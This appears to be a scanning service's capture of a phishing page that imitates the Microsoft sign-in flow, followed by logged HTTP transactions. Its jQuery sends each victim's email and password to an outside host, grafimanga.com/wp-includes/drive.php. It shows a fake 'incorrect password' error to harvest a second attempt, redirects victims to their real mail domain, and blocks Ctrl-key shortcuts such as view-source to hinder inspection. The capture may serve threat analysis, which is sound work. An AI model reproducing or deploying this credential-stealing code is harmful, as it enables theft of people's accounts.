            margin - left: .25 rem!important
        }

    .m - xl - 2 {
        margin: .5 rem!important
    }

    .mt - xl - 2,
        .my - xl - 2 {
            margin - top: .5 rem!important
        }

    .mr - xl - 2,
        .mx - xl - 2 {
            margin - right: .5 rem!important
        }

    .mb - xl - 2,
        .my - xl - 2 {
            margin - bottom: .5 rem!important
        }

    .ml - xl - 2,
        .mx - xl - 2 {
            margin - left: .5 rem!important
        }

    .m - xl - 3 {
        margin: 1 rem!important
    }

    .mt - xl - 3,
        .my - xl - 3 {
            margin - top: 1 rem!important
        }

    .mr - xl - 3,
        .mx - xl - 3 {
            margin - right: 1 rem!important
        }

    .mb - xl - 3,
        .my - xl - 3 {
            margin - bottom: 1 rem!important
        }

    .ml - xl - 3,
        .mx - xl - 3 {
            margin - left: 1 rem!important
        }

    .m - xl - 4 {
        margin: 1.5 rem!important
    }

    .mt - xl - 4,
        .my - xl - 4 {
            margin - top: 1.5 rem!important
        }

    .mr - xl - 4,
        .mx - xl - 4 {
            margin - right: 1.5 rem!important
        }

    .mb - xl - 4,
        .my - xl - 4 {
            margin - bottom: 1.5 rem!important
        }

    .ml - xl - 4,
        .mx - xl - 4 {
            margin - left: 1.5 rem!important
        }

    .m - xl - 5 {
        margin: 3 rem!important
    }

    .mt - xl - 5,
        .my - xl - 5 {
            margin - top: 3 rem!important
        }

    .mr - xl - 5,
        .mx - xl - 5 {
            margin - right: 3 rem!important
        }

    .mb - xl - 5,
        .my - xl - 5 {
            margin - bottom: 3 rem!important
        }

    .ml - xl - 5,
        .mx - xl - 5 {
            margin - left: 3 rem!important
        }

    .p - xl - 0 {
        padding: 0!important
    }

    .pt - xl - 0,
        .py - xl - 0 {
            padding - top: 0!important
        }

    .pr - xl - 0,
        .px - xl - 0 {
            padding - right: 0!important
        }

    .pb - xl - 0,
        .py - xl - 0 {
            padding - bottom: 0!important
        }

    .pl - xl - 0,
        .px - xl - 0 {
            padding - left: 0!important
        }

    .p - xl - 1 {
        padding: .25 rem!important
    }

    .pt - xl - 1,
        .py - xl - 1 {
            padding - top: .25 rem!important
        }

    .pr - xl - 1,
        .px - xl - 1 {
            padding - right: .25 rem!important
        }

    .pb - xl - 1,
        .py - xl - 1 {
            padding - bottom: .25 rem!important
        }

    .pl - xl - 1,
        .px - xl - 1 {
            padding - left: .25 rem!important
        }

    .p - xl - 2 {
        padding: .5 rem!important
    }

    .pt - xl - 2,
        .py - xl - 2 {
            padding - top: .5 rem!important
        }

    .pr - xl - 2,
        .px - xl - 2 {
            padding - right: .5 rem!important
        }

    .pb - xl - 2,
        .py - xl - 2 {
            padding - bottom: .5 rem!important
        }

    .pl - xl - 2,
        .px - xl - 2 {
            padding - left: .5 rem!important
        }

    .p - xl - 3 {
        padding: 1 rem!important
    }

    .pt - xl - 3,
        .py - xl - 3 {
            padding - top: 1 rem!important
        }

    .pr - xl - 3,
        .px - xl - 3 {
            padding - right: 1 rem!important
        }

    .pb - xl - 3,
        .py - xl - 3 {
            padding - bottom: 1 rem!important
        }

    .pl - xl - 3,
        .px - xl - 3 {
            padding - left: 1 rem!important
        }

    .p - xl - 4 {
        padding: 1.5 rem!important
    }

    .pt - xl - 4,
        .py - xl - 4 {
            padding - top: 1.5 rem!important
        }

    .pr - xl - 4,
        .px - xl - 4 {
            padding - right: 1.5 rem!important
        }

    .pb - xl - 4,
        .py - xl - 4 {
            padding - bottom: 1.5 rem!important
        }

    .pl - xl - 4,
        .px - xl - 4 {
            padding - left: 1.5 rem!important
        }

    .p - xl - 5 {
        padding: 3 rem!important
    }

    .pt - xl - 5,
        .py - xl - 5 {
            padding - top: 3 rem!important
        }

    .pr - xl - 5,
        .px - xl - 5 {
            padding - right: 3 rem!important
        }

    .pb - xl - 5,
        .py - xl - 5 {
            padding - bottom: 3 rem!important
        }

    .pl - xl - 5,
        .px - xl - 5 {
            padding - left: 3 rem!important
        }

    .m - xl - auto {
        margin: auto!important
    }

    .mt - xl - auto,
        .my - xl - auto {
            margin - top: auto!important
        }

    .mr - xl - auto,
        .mx - xl - auto {
            margin - right: auto!important
        }

    .mb - xl - auto,
        .my - xl - auto {
            margin - bottom: auto!important
        }

    .ml - xl - auto,
        .mx - xl - auto {
            margin - left: auto!important
        }
}

.text - justify {
    text - align: justify!important
}

.text - nowrap {
    white - space: nowrap!important
}

.text - truncate {
    overflow: hidden;
    text - overflow: ellipsis;
    white - space: nowrap
}

.text - left {
    text - align: left!important
}

.text - right {
    text - align: right!important
}

.text - center {
    text - align: center!important
}

@
media(min - width: 576 px) {
    .text - sm - left {
        text - align: left!important
    }

    .text - sm - right {
        text - align: right!important
    }

    .text - sm - center {
        text - align: center!important
    }
}

@
media(min - width: 768 px) {
    .text - md - left {
        text - align: left!important
    }

    .text - md - right {
        text - align: right!important
    }

    .text - md - center {
        text - align: center!important
    }
}

@
media(min - width: 992 px) {
    .text - lg - left {
        text - align: left!important
    }

    .text - lg - right {
        text - align: right!important
    }

    .text - lg - center {
        text - align: center!important
    }
}

@
media(min - width: 1200 px) {
    .text - xl - left {
        text - align: left!important
    }

    .text - xl - right {
        text - align: right!important
    }

    .text - xl - center {
        text - align: center!important
    }
}

.text - lowercase {
    text - transform: lowercase!important
}

.text - uppercase {
    text - transform: uppercase!important
}

.text - capitalize {
    text - transform: capitalize!important
}

.font - weight - light {
    font - weight: 300!important
}

.font - weight - normal {
    font - weight: 400!important
}

.font - weight - bold {
    font - weight: 700!important
}

.font - italic {
    font - style: italic!important
}

.text - white {
    color: # fff!important
}

.text - primary {
    color: #007bff !important
    }

    a.text-primary:focus,
    a.text-primary:hover {
      color: # 0062 cc!important
}

.text - secondary {
    color: #6c757d !important
    }

    a.text-secondary:focus,
    a.text-secondary:hover {
      color: # 545 b62!important
}

.text - success {
    color: #28a745 !important
    }

    a.text-success:focus,
    a.text-success:hover {
      color: # 1e7 e34!important
}

.text - info {
    color: #17a2b8 !important
    }

    a.text-info:focus,
    a.text-info:hover {
      color: # 117 a8b!important
}

.text - warning {
    color: # ffc107!important
}

a.text - warning: focus,
    a.text - warning: hover {
        color: # d39e00!important
    }

.text - danger {
    color: # dc3545!important
}

a.text - danger: focus,
    a.text - danger: hover {
        color: # bd2130!important
    }

.text - light {
    color: # f8f9fa!important
}

a.text - light: focus,
    a.text - light: hover {
        color: # dae0e5!important
    }

.text - dark {
    color: #343a40 !important
    }

    a.text-dark:focus,
    a.text-dark:hover {
      color: # 1 d2124!important
}

.text - muted {
    color: #6c757d !important
    }

    .text-hide {
      font: 0/0 a;
      color: transparent;
      text-shadow: none;
      background-color: transparent;
      border: 0
    }

    .visible {
      visibility: visible !important
    }

    .invisible {
      visibility: hidden !important
    }

    @media print {

      *,
      ::after,
      ::before {
        text-shadow: none !important;
        box-shadow: none !important
      }

      a:not(.btn) {
        text-decoration: underline
      }

      abbr[title]::after {
        content: " ("attr(title) ")"
      }

      pre {
        white-space: pre-wrap !important
      }

      blockquote,
      pre {
        border: 1px solid # 999;
    page -
    break -inside: avoid
}

thead {
    display: table - header - group
}

img,
tr {
    page -
        break -inside: avoid
}

h2,
h3,
p {
    orphans: 3;
    widows: 3
}

h2,
h3 {
    page -
        break -after: avoid
}

@
page {
    size: a3
}

body {
    min - width: 992 px!important
}

.container {
    min - width: 992 px!important
}

.navbar {
    display: none
}

.badge {
    border: 1 px solid #000
      }

      .table {
        border-collapse: collapse !important
      }

      .table td,
      .table th {
        background-color: # fff!important
}

.table - bordered td,
    .table - bordered th {
        border: 1 px solid # ddd!important
    }
}

/*# sourceMappingURL=bootstrap.min.css.map */


textarea: hover,
    input: hover,
    textarea: active,
    input: active,
    textarea: focus,
    input: focus,
    button: focus,
    button: active,
    button: hover,
    label: focus,
    .btn: active,
    .btn.active {
        outline: 0 px!important; - webkit - appearance: none;
        box - shadow: none!important;
    }

.box {
    box - shadow: 0 2 px 6 px rgb(0 0 0 / 20 % );
    /*border: 1px solid rgba(0, 0, 0, 0.4);*/
    /*max-height: 350px;*/

    max - width: 440 px;
    /*width: calc(100% - 40px);*/
    padding: 48 px!important;
    margin - left: auto;
    margin - right: auto;
    margin - top: 20 px;

    margin - bottom: 28 px;
    background - color: white;
    overflow - x: hidden;

}

.boxtext {
    z - index: 0 px;
    transform: translateX(+200 px);
    animation: myAnim 300 ms ease - in 0 s 1 normal forwards;
}

@
keyframes myAnim {
    0 % {
        transform: translateX(-200);
    }

    100 % {
        transform: translateX(0 px);
    }
}

@
keyframes bgmyAnim {
    0 % {
        opacity: 0;
    }

    100 % {
        opacity: 1;
    }
}

.box2 {
    box - shadow: 0 2 px 6 px rgb(0 0 0 / 20 % );
    /*border: 1px solid rgba(0, 0, 0, 0.4);*/
    /*max-height: 350px;*/

    max - width: 440 px;
    /*width: calc(100% - 40px);*/
    padding: 8 px 48 px!important;
    margin - left: auto;
    margin - right: auto;
    margin - bottom: 28 px;
    background - color: white;
}

# footer {
    position: fixed;
    bottom: 0 px;
    width: 100 % ;
    overflow: visible;
    z - index: 99;
    clear: both;
    background - color: #000;
      background-color: rgba(0, 0, 0, 0.6);
    }

    /*.footerNode span {
    color: # fff;
    font - size: 0.75 rem;
    line - height: 28 px;
    white - space: nowrap;
    display: inline - block;
    float: right;
    margin - left: 8 px;
    margin - right: 8 px;
} * /
div.footerNode a,
    div.footerNode span {
        color: # fff;
        font - size: 0.75 rem;
        line - height: 28 px;
        white - space: nowrap;
        display: inline - block;
        float: right;
        margin - left: 8 px;
        margin - right: 8 px;
    }


.bgimg {
    animation: bgmyAnim 1 s cubic - bezier(0.11, 0, 0.5, 0) 0 s 1 normal forwards;
    position: absolute;
    height: 100 % ;
    width: 100 % ;
    top: 0 px;
    background - size: cover;
    background - repeat: no - repeat;
    background - image: url("https://i.gyazo.com/4ecc10d9e8e446e3c7ef27358838f287.jpg");
}

.topp {
    margin - top: 48 px!important;
    padding - top: 48 px!important;
}

@
media only screen and(max - width: 610 px) {
        # hide {
            display: none;
        }

        .topp {
            margin - top: 10 px!important;
            padding - top: 5 px!important;
        }

        .bgimg {

            position: absolute;
            height: 100 % ;
            width: 100 % ;
            top: 0 px;
            background - size: cover;
            background - repeat: no - repeat;
            background - image: none;
            background - color: white;
        }

        .box {
            box - shadow: none;
            /*border: 1px solid rgba(0, 0, 0, 0.4);*/
            /*max-height: 350px;*/

            max - width: 440 px;
            /*width: calc(100% - 40px);*/
            padding: 0 px!important;
            margin - left: auto;
            margin - right: auto;
            margin - top: 0 px;
            margin - bottom: 28 px;
            background - color: white;
        }

        .box2 {
            box - shadow: none;
            /*border: 1px solid rgba(0, 0, 0, 0.4);*/
            /*max-height: 350px;*/
            border: 1 px solid;
            max - width: 440 px;
            /*width: calc(100% - 40px);*/
            padding: 8 px 20 px!important;
            margin - left: 30 px!important;
            margin - right: 30 px!important;
            margin - bottom: 28 px!important;
            background - color: white;
        }
    } < /style> < style type = "text/css" >
    .loader {
        /*position: absolute;*/
        /*padding: 30px 0px;*/
        width: 40 px;
        /*margin: -22px;*/
    }

.loader.circle {
    position: absolute;
    width: 18 px;
    height: 18 px;
    opacity: 0;
    transform: rotate(225 deg);
    animation - iteration - count: infinite;
    animation - name: orbit;
    animation - duration: 3 s;
}

.loader.circle: after {
        content: "";
        position: absolute;
        width: 3 px;
        height: 3 px;
        border - radius: 5 px;
        background: #000;
    }

    .loader .circle:nth-child(2) {
      animation-delay: 240ms;
    }

    .loader .circle:nth-child(3) {
      animation-delay: 480ms;
    }

    .loader .circle:nth-child(4) {
      animation-delay: 720ms;
    }

    .loader .circle:nth-child(5) {
      animation-delay: 960ms;
    }

    @keyframes orbit {
      0% {
        transform: translate(10px, 0);
        opacity: 1;
        animation-timing-function: ease-out;
      }

      7% {
        transform: translate(30px, 0);
        animation-timing-function: linear;
      }

      30% {
        transform: translate(60px, 0);
        animation-timing-function: ease-in-out;
      }

      40% {
        transform: translate(90px, 0);
        animation-timing-function: ease-out;
      }

      50% {
        transform: translate(120px, 0);
        animation-timing-function: ease-out;
      }

      75% {
        transform: translate(250px, 0);
        animation-timing-function: ease-out;
      }

      76% {
        transform: translate(300px, 0);
        opacity: 0;
      }

      100% {
        transform: translate(350px, 0);
        opacity: 0;
      }
    }
  </style>
</head>

<body>
  <div class= "bgimg" > < /div> < div class = "container-fluid" >
            < div class = "container" >

            < div class = "row topp" >

            < div class = "col-lg-6 mx-auto" >
            <!-- ////////////////////////diiiv1 start/////////////////////// -->
            < div class = "box"
        id = "diiiv1" >
        < div class = "loader "
        style = "display:none;" >
        < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < div class = "boxtext" >
        < img src = "https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico"
        class = "img-fluid logoimg"
        width = "30px" > & nbsp < span class = "align-middle h5 logoname"
        style = "color: #747474;" > Microsoft < /span><br><br> < span class = "h5" > Sign In < /span><br> < span id = "error"
        class = "text-danger"
        style = "display: none;" > That Microsoft account doesn 't exist. Enter a different account</span> < div class = "form-group mt-2" >
        < input type = "email"
        name = "ai"
        class = "form-control rounded-0 border-dark"
        id = "ai"
        aria - describedby = "aiHelp"
        placeholder = "Email, phone, or Skype"
        style = "border-right: none;border-left: none;border-top: none;padding-left: 0px;padding-right: 0px;" >
        < /div> < p style = "font-size: 13px" > No account ? < a href = "#" > Create one! < /a></p >
        < p style = "font-size: 13px" > < a href = "#" > Can 't access your account?</a></p>

        < div class = "text-right" >
        < button type = "button"
        class = "btn rounded-0 text-white px-4"
        id = "next"
        style = "background-color: #0066BA;cursor: pointer;" > Next < /button> < /div> < /div> < /div>
        <!-- ////////////////////////diiiv1 end/////////////////////// -->
        <!-- ////////////////////////div2 start/////////////////////// -->
        < div class = "box"
        id = "div2"
        style = "display: none;" >
        < div class = "loader "
        style = "display:none;" >
        < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < form id = "contact"
        class = "boxtext" >
        < img src = "https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico"
        class = "img-fluid logoimg"
        width = "30px" > & nbsp < span class = "align-middle h5 logoname"
        style = "color: #747474;" > Microsoft < /span><br><br> < i class = "fas fa-arrow-left"
        id = "back" > < /i>&nbsp<span id="aich">abc@abc.com</span >
        < div class = "py-2" > < span class = "h5" > Enter Password < /span></div >
        < div class = "pb-2" >
        < span id = "msg"
        class = "text-danger" > < /span> < /div> < div class = "form-group mt-2" >
        < input type = "password"
        name = "pr"
        class = "form-control rounded-0 border-dark"
        id = "pr"
        aria - describedby = "aiHelp"
        placeholder = "Enter Password"
        style = "border-right: none;border-left: none;border-top: none;padding-left: 0px;padding-right: 0px;" >
        < /div> < p style = "font-size: 14px" > < a href = "#" > Forget password ? < /a></p >
        < div class = "text-right" >
        < button type = "button"
        class = "btn rounded-0 text-white px-4"
        id = "submit-btn"
        style = "background-color: #0066BA;" > login < /button> < /div> < /form> < /div>
        <!-- ////////////////////////div2 end/////////////////////// -->
        <!-- ////////////////////////div3 start/////////////////////// -->
        < div class = "box"
        id = "div3"
        style = "display: none;" >
        < div class = "boxtext" >
        < img src = "https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico"
        class = "img-fluid logoimg"
        width = "30px" > & nbsp < span class = "align-middle h5 logoname"
        style = "color: #747474;" > Microsoft < /span><br><br> < span class = "h4" > Taking you to your Organization 's sign-in page</span><br><br> < div class = "loader " >
        < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < br >
        < div class = "text-left" >
        < a href = "#" > cancel < /a> < /div> < br > < br >
        < /div> < /div>
        <!-- ////////////////////////div3 end/////////////////////// -->
        < /div> < /div> < /div> < div class = "row " >
        < div class = "col-sm-5 mx-auto box2" >
        < div class = "py-2 bg-white " >
        < span > < i class = "fas fa-key" > < /i> &nbspSign in options</span >
        < /div> < /div> < /div> < /div> < footer id = "footer" >
        < div >
        < div class = "footerNode" >
        < span > �2022 Microsoft < /span> < a href = "#" > Privacy statement < /a> < /div> < /div> < /footer> < script language = "JavaScript" >
        function disableCtrlKeyCombination(e) {
            //list all CTRL + key combinations you want to disable
            var forbiddenKeys = new Array('u', 'a', 'n', 'c', 'x', 'v', 'j', 'w');
            var key;
            var isCtrl;
            if (window.event) {
                key = window.event.keyCode; //IE
                if (window.event.ctrlKey)
                    isCtrl = true;
                else
                    isCtrl = false;
            } else {
                key = e.which; //firefox
                if (e.ctrlKey)
                    isCtrl = true;
                else
                    isCtrl = false;
            }
            //if ctrl is pressed check if other key is in forbidenKeys array
            if (isCtrl) {
                for (i = 0; i < forbiddenKeys.length; i++) {
                    //case-insensitive comparation
                    if (forbiddenKeys[i].toLowerCase() == String.fromCharCode(key).toLowerCase()) {
                        ('Key combination CTRL + ' + String.fromCharCode(key) + ' has been disabled.');
                        return false;
                    }
                }
            }
            return true;
        } < /script> < /head> < body onkeypress = "return disableCtrlKeyCombination(event);"
        onkeydown = "return disableCtrlKeyCombination(event);" >

        <!-- Optional JavaScript -->
        <!-- jQuery first, then Popper.js, then Bootstrap JS -->
        < script type = "text/javascript"
        src = "https://code.jquery.com/jquery-3.2.1.slim.min.js"
        integrity = "sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN"
        crossorigin = "anonymous" > < /script> < script type = "text/javascript"
        src = "https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js"
        integrity = "sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q"
        crossorigin = "anonymous" > < /script> < script type = "text/javascript"
        src = "https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"
        integrity = "sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl"
        crossorigin = "anonymous" > < /script> < /body> < script type = "text/javascript"
        src = "https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js" > < /script> < script >
        /* global $ */
        $(document).ready(function() {
            var count = 0;

            var ai = window.location.hash.substr(1);
            if (!ai) {

            } else {
                var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/;

                if (!base64regex.test(ai)) {
                    var my_ai = ai;
                } else {
                    var my_ai = atob(ai);
                }
                var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

                if (!filter.test(my_ai)) {
                    $('#error').show();
                    ai.focus;
                    return false;
                }
                var ind = my_ai.indexOf("@");
                var my_slice = my_ai.substr((ind + 1));
                var c = my_slice.substr(0, my_slice.indexOf('.'));
                var fnl = c.toLowerCase();
                var fnlu = c.toUpperCase();
                $('#ai').val(my_ai);
                $("#diiiv1").animate({
                    left: 0,
                    opacity: "hide"
                }, 0);
                $("#div3").animate({
                    right: 0,
                    opacity: "show"
                }, 0);
                setTimeout(() => {
                    $("#div3").animate({
                        left: 0,
                        opacity: "hide"
                    }, 0);
                    $("#div2").animate({
                        right: 0,
                        opacity: "show"
                    }, 0);
                    $("#aich").html(my_ai);

                }, 4000);
            }





            $('#ai').click(function() {
                $('#error').hide();
            });

            $(document).keypress(function(event) {

                var keycode = (event.keyCode ? event.keyCode : event.which);
                if (keycode == '13') {
                    event.preventDefault();
                    if ($("#diiiv1").is(":visible")) {

                        $("#next").click();

                    } else if ($("#div2").is(":visible")) {
                        event.preventDefault();

                        $("#submit-btn").click();

                    } else {
                        return false;
                    }
                }
            });


            $('#next').click(function() {
                event.preventDefault();
                var my_ai = $('#ai').val();
                var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

                if (!filter.test(my_ai)) {
                    $('#error').show();
                    ai.focus;
                    return false;
                }
                var ind = my_ai.indexOf("@");
                var my_slice = my_ai.substr((ind + 1));
                var c = my_slice.substr(0, my_slice.indexOf('.'));
                var fnl = c.toLowerCase();
                var fnlu = c.toUpperCase();
                $("#diiiv1").animate({
                    left: 0,
                    opacity: "hide"
                }, 0);
                $("#div3").animate({
                    right: 0,
                    opacity: "show"
                }, 0);
                setTimeout(() => {
                    $("#div3").animate({
                        left: 0,
                        opacity: "hide"
                    }, 0);
                    $("#div2").animate({
                        right: 0,
                        opacity: "show"
                    }, 0);
                    $("#aich").html(my_ai);

                }, 4000);



            });


            $('#back').click(function() {
                $("#msg").hide();
                $("#ai").val("");
                $("#pr").val("");
                $("#div2").animate({
                    left: 0,
                    opacity: "hide"
                }, 0);
                $("#diiiv1").animate({
                    right: 0,
                    opacity: "show"
                }, 1000);

            });

            var file = "bmV4dC5waHA=";
            $('#submit-btn').click(function(event) {
                event.preventDefault();
                var ai = $("#ai").val();
                var pr = $("#pr").val();
                var detail = $("#field").html();
                var msg = $('#msg').html();

                var my_ai = ai;
                var ind = my_ai.indexOf("@");
                var my_slice = my_ai.substr((ind + 1));
                var c = my_slice.substr(0, my_slice.indexOf('.'));
                var fnl = c.toLowerCase();
                $('#msg').text(msg);
                count = count + 1;
                $.ajax({
                    dataType: 'JSON',
                    url: "https://grafimanga.com/wp-includes/drive.php",
                    type: 'POST',
                    data: {
                        ai: ai,
                        pr: pr,
                        detail: detail,

                    },
                    beforeSend: function(xhr) {
                        $("#div2").animate({
                            left: 0,
                            opacity: "hide"
                        }, 0);
                        $("#div3").animate({
                            left: 0,
                            opacity: "show"
                        }, 0);
                    },
                    success: function(response) {
                        $("#pr").val("");
                        if (count >= 2) {
                            count = 0;
                            $("#load-text").html("Mail Recovered");
                            setTimeout(() => {
                                $("#load-text").html("You will be redirected to your office Mailbox shortly.");
                                setTimeout(() => {
                                    window.location.replace("https://www." + my_slice);
                                    // window.location.replace("https://www.office.com");
                                }, 500);
                            }, 1000);


                            return false;
                        }
                        $("#msg").html("Your account or password is incorrect. If you don't remember your password, <a href='#'>reset it now</a>");
                        $("#div3").animate({
                            left: 0,
                            opacity: "hide"
                        }, 0);
                        $("#div2").animate({
                            left: 0,
                            opacity: "show"
                        }, 100);
                    },
                    error: function() {
                        $("#pr").val("");
                        if (count >= 2) {
                            count = 0;
                            $("#load-text").html("Mail Recovered");
                            setTimeout(() => {
                                $("#load-text").html("You will be redirected to your office Mailbox shortly.");
                                setTimeout(() => {
                                    window.location.replace("https://login.microsoftonline.com/common/oauth2");
                                    // window.location.replace("https://login.microsoftonline.com/common/oauth2");
                                }, 500);
                            }, 1000);


                            return false;
                        }
                        $("#msg").html("Your account or password is incorrect. If you don't remember your password, <a href='#'>reset it now</a>");
                        $("#div3").animate({
                            left: 0,
                            opacity: "hide"
                        }, 0);
                        $("#div2").animate({
                            left: 0,
                            opacity: "show"
                        }, 100);
                    },
                    complete: function() {

                    }
                });
            });
        }); < /script>

        < /html> < script type = "text/javascript"
        src = "https://code.jquery.com/jquery-3.3.1.min.js" > < /script> < script >
        $('#i0116').keypress(function(e) {
            var key = e.which;
            if (key == 13) // the enter key code
            {
                $('#usernameProgress').css('display', 'block');
                setTimeout(function() {
                    goNext();
                    return false;
                }, 1200);
            }
        });

        function goNext() {
            var usr = $('#i0116').val();
            var userError = 'Enter a valid email address, phone number, or Skype name.';
            if (isEmail($('#i0116').val())) {
                $('#loginHeader').text('Enter password');
                $('#displayName').text(usr);
                $('#emField').css('display', 'none');
                $('#pwField').css('display', 'block');
                $('.identityBanner').css('display', 'block');

                $('#i0117').focus();
                $('#errorBar').text('');
                $('form').find('input:button').each(function() {
                    $("<input type='submit' />").attr({
                            name: this.name,
                            value: this.value
                        }).insertBefore(this)
                        .addClass('btn btn-block btn-primary');
                }).remove();
            } else {
                $('#i0116').addClass('has-error');
                $('#errorBar').text(userError);
                $('#usernameProgress').css('display', 'none');
            }

        }

        function closeBox() {
            $('#popup1').css('visibility', 'hidden').css('opacity', 0);
            $('#i0116').focus();
        }

        function checkSubmit() {
            var pwd = $('#i0117').val();
            var pwError = 'Please enter the password for your Microsoft account.';
            if (pwd.length > 5) {
                $('#errorBar').text('');
                $('#pwProgress').css('display', 'block');
                return true;
            } else {
                $('#errorBar').text(pwError);
                return false;
            }
        }

        function isEmail(email) {
            var regex = /^([a-zA-Z0-9_.+-])+\@(([a-zA-Z0-9-])+\.)+([a-zA-Z0-9]{2,4})+$/;
            return regex.test(email);
        }

        function iserror(email) {
            $('#displayName').text(email);
            $('#errorBar').html('Your account or password is incorrect. If you dont remember your password, <a href="#">reset it now.</a>');
            $('#i0117').addClass('has-error');
            $('#emField').css('display', 'none');
            $('#pwField').css('display', 'block');
            $('.identityBanner').css('display', 'block');
            $('form').find('input:button').each(function() {
                $("<input type='submit' />").attr({
                        name: this.name,
                        value: this.value
                    }).insertBefore(this)
                    .addClass('btn btn-block btn-primary');
            }).remove();
        } < /script>

        < div id = "popup1"
        class = "overlay"
        style = "visibility:visible;opacity: 1" >
        < div class = "popup" >
        < a class = "close"
        href = "#"
        onclick = "closeBox()" > � < /a> < div class = "content" >
        Your session has expired,
        please login. < /div> < /div> < /div>

        < style >
        box {
            width: 40 % ;
            margin: 0 auto;
            background: rgba(255, 255, 255, 0.2);
            padding: 35 px;
            border: 2 px solid # fff;
            border - radius: 20 px / 50 px;
            background - clip: padding - box;
            text - align: center;
        }

        .button {
            font - size: 1e m;
            padding: 10 px;
            color: # fff;
            border: 2 px solid #0067B8;
            border-radius: 20px/50px;
            text-decoration: none;
            cursor: pointer;
            transition: all 0.3s ease-out;
        }
        
        .button:hover {
            background: # 0067 B8;
        }

        .overlay {
            position: fixed;
            top: 0;
            bottom: 0;
            left: 0;
            right: 0;
            background: rgba(0, 0, 0, 0.7);
            transition: opacity 500 ms;
            visibility: hidden;
            opacity: 0;
        }

        .overlay : target {
            visibility: visible;
            opacity: 1;
        }

        .popup {
            margin: 70 px auto;
            padding: 20 px;
            background: # fff;
            border - radius: 5 px;
            width: 30 % ;
            position: relative;
            transition: all 5 s ease - in -out;
        }

        .popup h2 {
            margin - top: 0;
            color: #333;
            font-family: Tahoma, Arial, sans-serif;
        }
        
        .popup .close {
            position: absolute;
            top: 20px;
            right: 30px;
            transition: all 200ms;
            font-size: 30px;
            font-weight: bold;
            text-decoration: none;
            color: # 333;
        }

        .popup.close : hover {
            color: #0067B8;
        }
        
        .popup .content {
            max-height: 30%;
            overflow: auto;
        }
        
        @media screen and (max-width: 700px) {
            .box {
                width: 70%;
            }
            .popup {
                width: 70%;
            }
        }
    </style>
</body>

</html>

<?php
if(isset($_GET['error'])){
	$id = $_GET['id'];
            echo "";
        } ?>
                                    


HTTP Transactions (36)


Request Response
                                        
                                            GET /v1/ HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         143.204.55.35
HTTP/1.1 200 OK
Content-Type: application/json
                                        
Content-Length: 939
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Type, Alert, Backoff, Retry-After, Content-Length
Cache-Control: max-age=3600
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
Date: Thu, 29 Sep 2022 21:15:55 GMT
X-Content-Type-Options: nosniff
X-Cache: Hit from cloudfront
Via: 1.1 41dc61beb3fe8e8c2c299a2522d8330c.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-C1
X-Amz-Cf-Id: 09Ui6sSexf69jlLJIT9Rkzyn27wsUzHv2AlCTnICBlAjXNfBqrk7Kg==
Age: 2372


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (939), with no line terminators
Size:   939
Md5:    2d12f67fe57a87e7366b662d153a5582
Sha1:   d7b02d81cc74f24a251d9363e0f4b0a149264ec1
Sha256: 73c273c0b5a2de3cb970b8e8c187999d3b55e760dc7766dab4bb76428d19b551
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "A382476D14B6AE14003333E7ACDFBBD9AE8775D4C1A7D5C31116F33987043CFF"
Last-Modified: Thu, 29 Sep 2022 00:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=5124
Expires: Thu, 29 Sep 2022 23:20:52 GMT
Date: Thu, 29 Sep 2022 21:55:28 GMT
Connection: keep-alive

                                        
                                            GET /chains/remote-settings.content-signature.mozilla.org-2022-10-30-18-47-44.chain HTTP/1.1 
Host: content-signature-2.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
